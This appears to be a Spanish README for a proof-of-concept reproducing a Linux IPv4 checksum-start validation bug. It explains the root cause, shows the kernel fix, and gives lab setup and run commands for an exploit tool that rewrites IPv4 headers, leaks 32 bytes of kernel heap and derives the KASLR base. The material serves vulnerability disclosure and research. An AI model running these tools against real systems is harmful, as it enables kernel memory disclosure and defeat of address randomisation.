Reproducción y análisis del fallo de validación de csum_start en IPv4 de Linux (CVE-2026-99999): reescritura de cabecera, divulgación de 32 bytes del heap, oráculo de fuga y derrota de KASLR.
English · 简体中文
Reproducción del fallo de validación de csum_start en IPv4 de Linux corregido por
6785011f8b16 ("ipv4: validate checksum_start before completing checksum").
Dada la ejecución de código dentro de una VM invitada, un proceso sin privilegios sobre un
TAP preparado reescribe una cabecera que el kernel ya ha analizado y, a continuación, lee 32 bytes más allá
de los datos lineales del paquete.
| Precondición | ejecución de código dentro de la VM invitada — no remota, no pre-auth |
| Reproducido en | 6.18.54.1-microsoft-standard-WSL2 |
| Kernels afectados | todas las versiones anteriores a la corrección de su rama — KERNELS.md |
| Corregido en | 6.18.57 · 6.12.113 · 6.6.159 · 6.1.190 · 5.15.223 · 5.10.272 · 7.2.11 |
| CVSS 3.1 | 9.3 — AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Corrección upstream | 6785011f8b16abf40b1e9d8b2e332232b3e68822 (Michael S. Tsirkin) |
| Reportado por | Paulos Yibelo (pwn.ai) |
| Precompilado | v1.0.0 static binaries |
$ python3 poc/pwnescape.py --skip-verify --page --spray 32 --spray-fill 0xee
[leak] head=8 rest=400 linear=28B copy=60B overrun=32B adj=0x24d6 spray=32
[leak] 3 output fragment(s)
frag 0: first=0x4f ihl=60B tot_len=196
options[40]: a5a5a5a5a5a5a5a50000000000000000000000000000000000000000000000a9cb439e88ffff0000
past linear head: 32B, 7 nonzero
[leak] OK: 32 bytes copied past skb_headlen() into IPv4 options
El primer byte es 0x4f en lugar de 0x45 — versión 4, longitud de cabecera de 15 palabras en lugar de 5. Los ocho bytes a5 son el marcador que este reproductor escribió en el fragmento; todo lo que sigue después de ellos no forma parte del paquete. a9 cb 43 9e 88 ff ff se lee como 0xffff889e43cba9, una dirección del mapa directo del kernel.
skb_checksum_help() convierte los metadatos de checksum en una escritura:
write address = skb->head + csum_start + csum_offset
Nada antes de la corrección verificaba que csum_start estuviera después del encabezado IPv4.
La comprobación de admisión compara el desplazamiento del transporte con una longitud mínima de encabezado
medida desde el skb->data actual — una coordenada relativa al frame:
/* include/linux/virtio_net.h, __virtio_net_hdr_to_skb() */
if (!skb_partial_csum_set(skb, start, off))
return -EINVAL;
if (skb_transport_offset(skb) < nh_min_len) /* 20 bytes */
return -EINVAL;
Para una trama de [ eth 14 ][ vlan 4 ][ vlan 4 ][ ipv4 ... ], csum_start = 22
da skb_transport_offset() == 22 >= 20, por lo que los metadatos se aceptan, mientras que
la distancia real desde la cabecera de red es 0. Las dos etiquetas VLAN se
eliminan en la ruta de recepción, por lo que la coordenada relativa a la trama sobrevive hasta L3
y la escritura diferida recae sobre version/ihl.
El ordenamiento es la otra mitad. ip_do_fragment() completó la suma de verificación pendiente
antes de leer iph->ihl:
/* net/ipv4/ip_output.c, pre-fix */
if (skb->ip_summed == CHECKSUM_PARTIAL && (err = skb_checksum_help(skb)))
goto fail;
iph = ip_hdr(skb);
...
hlen = iph->ihl * 4; /* now 60, not 20 */
El encabezado se validó como de 20 bytes; el consumidor lee 15 palabras de la misma
memoria. skb_checksum_help() no tiene la culpa: se permitió que los metadatos
describieran un paquete distinto del que existe.
La corrección añade un límite relativo a la red y lo invoca antes de cada punto de finalización:
static inline int ip_check_csum_start(const struct sk_buff *skb)
{
if (unlikely(skb->csum_start < skb->network_header + ip_hdrlen(skb)))
return -EINVAL;
return 0;
}
Con C = csum_start, N = network_header, H = ip_hdrlen y O >= 0,
requerir C >= N + H significa que la escritura C + O ya no puede alcanzar la cabecera.
Contenedor privilegiado en un kernel vulnerable (el kernel es lo que importa):
docker run -d --name pwnesc --privileged debian:12-slim sleep infinity
docker exec pwnesc apt-get update -qq
docker exec pwnesc apt-get install -y -qq iproute2 nftables python3
docker cp lab/setup.sh pwnesc:/root/setup.sh
docker cp poc/pwnescape.py pwnesc:/root/pwnescape.py
docker exec pwnesc sh /root/setup.sh
# header rewrite only
docker exec pwnesc python3 /root/pwnescape.py --only-verify
# 32-byte disclosure past the linear head
docker exec pwnesc python3 /root/pwnescape.py --skip-verify --page --spray 32 --spray-fill 0xee
En un host de pruebas bare-metal o VM: sudo sh lab/setup.sh, luego ejecuta los mismos
comandos como root en ese espacio de nombres de red. Requiere /dev/net/tun,
nf_conntrack, nf_defrag_ipv4, ip y nft.
lab/setup.sh construye un TAP para la inyección y un par veth para la salida:
inject forward + defrag egress
userland ──────────► pwntap 10.0.0.1/24 ─────────────────► pwnv0 10.99.0.1/24
(virtio_net_hdr, | conntrack defrag MTU 200
csum_start=22) | nft prerouting -450 │
└── two fragments reassembled ────────────────┤
into a 28-byte linear head ▼
pwnv1
(capture)
La regla ct de nft registra nf_defrag_ipv4, por lo que los dos fragmentos se reensamblan antes de que la ruta de reenvío los fragmente de nuevo. Todo lo que vuelva a entrar por pwnv1 se descarta. lab/teardown.sh lo elimina todo.
El fragmento con desplazamiento 0 transporta 8 bytes, así que tras el reensamblado la cabeza lineal lógica es de 20 + 8 = 28 bytes, mientras que el fragmentador copia ihl * 4 = 60:
[ 20 header ][ 8 payload ] | 32 bytes that are not part of the packet
└─ copied into the fragments' IPv4 options
overrun = 60 - (20 + head), por lo que --head 40 es el caso de control (ningún byte cruza
el límite) y --head 8 produce la divulgación de 32 bytes.
En la ruta de slab, la cola se pone a cero mediante CONFIG_INIT_ON_ALLOC_DEFAULT_ON y la
fuga se lee como 00. --page mueve la cabeza del skb a un page_frag reciclado,
donde la cola aún contiene lo que la página tenía antes.
python3 exp/probe.py --passive # version verdict, no packets
python3 exp/probe.py --active # A/B behavioural verdict, leaks nothing
python3 exp/leak.py --rounds 24 # repeatable 32-byte disclosure + physmap KASLR base
probe.py compara un datagrama de control con metadatos de checksum bien formados frente a uno cuyo csum_start se sitúa en la cabecera IPv4: cabecera reescrita → vulnerable, prueba descartada por la protección → parcheado, nada capturado → problema de laboratorio. leak.py repite la sobrelectura, extrae punteros canónicos del kernel y deriva la base KASLR del physmap.